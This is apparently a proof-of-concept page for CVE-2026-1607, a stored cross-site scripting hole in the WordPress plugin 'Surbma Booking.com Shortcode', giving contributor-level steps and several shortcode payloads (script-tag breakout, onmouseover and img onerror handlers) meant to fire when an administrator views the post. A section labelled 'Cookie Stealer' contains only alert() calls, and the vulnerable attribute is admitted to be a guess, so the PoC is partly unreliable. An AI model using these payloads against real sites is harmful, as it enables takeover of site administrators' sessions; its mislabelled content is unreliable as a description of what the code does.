CVE-2026-1607 WordPress插件存储型XSS漏洞

<!-- PoC for CVE-2026-1607: Stored XSS in Surbma Booking.com Shortcode Description: Inject malicious script via shortcode attributes. --> <!-- Step 1: As a Contributor user, create a new Post/Page. --> <!-- Step 2: Insert the following shortcode into the content editor. --> [surbma-bookingcom some_attribute="value"><script>alert('CVE-2026-1607_PoC');</script><"] <!-- Note: Replace 'some_attribute' with the actual vulnerable parameter if known, otherwise the payload targets the general attribute handling mechanism. When an Administrator views this post, the alert box will trigger. --> <!-- Advanced Payload (Cookie Stealer) --> [surbma-bookingcom id="1" onmouseover="alert(1)"] [surbma-bookingcom attr='"><img src=x onerror=alert(1)>']